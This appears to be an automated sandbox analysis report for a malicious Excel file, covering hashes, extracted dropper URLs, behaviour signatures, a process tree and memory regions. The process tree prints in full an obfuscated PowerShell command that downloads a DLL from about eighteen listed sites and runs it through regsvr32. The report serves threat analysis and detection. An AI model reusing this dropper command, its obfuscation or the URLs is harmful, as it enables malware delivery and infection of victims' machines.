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Analysis

  • max time kernel
    14s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 21:55

General

  • Target

    806f40b33359622f698ef99724429ce5fccdb7c6eb5f80c08fe5b0c16c026691.xls

  • Size

    438KB

  • MD5

    51d48cb8b00c400f00ed652b55bb8d42

  • SHA1

    3298d6364c03bc8d7991dffc44f6c22cd7ad79b3

  • SHA256

    806f40b33359622f698ef99724429ce5fccdb7c6eb5f80c08fe5b0c16c026691

  • SHA512

    56b1c94c3e3cb47ca0f0e97934642a3c7d151cbc527be8e8c37790024c4086ceb0cc5d3384dd6af4c9bc4abee38140b1ed4712dcdb2438d1464d8825d2c94f8b

  • SSDEEP

    12288:V947a/JjsLZjXYc7X0/aXCKli04OaZ1XSwbhF0:1urYc7E/i004OSLbhF0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://wildmanwildfood.com/wp-admin/wxyadXKXFe/

exe.dropper

https://ashven.co.uk/wp-includes/UwBairqGXVb11tCu/

exe.dropper

https://aigenix.comartstudios.com/cgi-bin/ZZ8HCNr40H/

exe.dropper

https://fastonlineearn.com/wp-content/L/

exe.dropper

https://mbmscaffolding.co.uk/test/3j/

exe.dropper

https://ineslebuhan.com/wp-includes/7dLR8UB3RFfSHd4cZN/

exe.dropper

https://mccoygloballinks.com/cgi-bin/HvZWLrLljiRj2ck/

exe.dropper

http://lonaomer.com/wp-content/6G/

exe.dropper

https://tainformado.com.br/wp-content/0Ysot/

exe.dropper

https://nifdtb.in/wp-content/9uHo3GBgyIQ/

exe.dropper

https://sdn3sajen.stormapp.in/wp-admin/Xc6Z/

exe.dropper

https://narsanat.com/banner/TnIhz/

exe.dropper

https://vanessanascimento.com.br/auren-xbox/cDD2dfW/

exe.dropper

https://medvital.com.br/arquivos/q6ZjbPPoR7l/

exe.dropper

https://mcjalandhar.in/1950-kill/BMoLHJM4g/

exe.dropper

https://nuranabd.com/wp-content/BhYOZ2pJV5q/

exe.dropper

https://sdigitaltv.online/wp-admin/rpRCArrXjpoUXo/

exe.dropper

http://news.leta.com.vn/-/NQOY80o/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\806f40b33359622f698ef99724429ce5fccdb7c6eb5f80c08fe5b0c16c026691.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2088
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\etyockqw.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1380
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1916
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2316
        • \??\c:\windows\syswow64\regsvr32.exe
          c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2948

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \??\c:\programdata\etyockqw.vbs

    Filesize

    2KB

    MD5

    a35f55cf91f2003615533b5be5948090

    SHA1

    b5b89075550e2592b69f4541cfbdf33dd8fbf175

    SHA256

    d297bdfe7fdf74ffe50cad7965843bb92cd55b44370e1b7b8ddb99cf7ab3af7c

    SHA512

    098097cd100b73f231b3c1bb3e8330a584b2b2742be8a27211ea9f9f7875c78b414341e626b5c071abc0589caf3a2ac80c99c79b952388cc96884fd33b397899

  • memory/2088-25-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-40-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-4-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-5-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-8-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-39-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-10-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-7-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-3-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-18-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-17-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-16-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-15-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-14-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-13-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-12-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-9-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2088-6-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-30-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-11-0x00000000069A0000-0x0000000006AA0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-31-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-29-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-28-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-27-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-26-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-47-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-54-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-61-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-1-0x000000007270D000-0x0000000072718000-memory.dmp

    Filesize

    44KB

  • memory/2088-63-0x000000007270D000-0x0000000072718000-memory.dmp

    Filesize

    44KB

  • memory/2088-66-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-67-0x00000000002E0000-0x00000000003E0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-68-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-69-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-70-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

    Filesize

    1024KB

  • memory/2088-71-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

    Filesize

    1024KB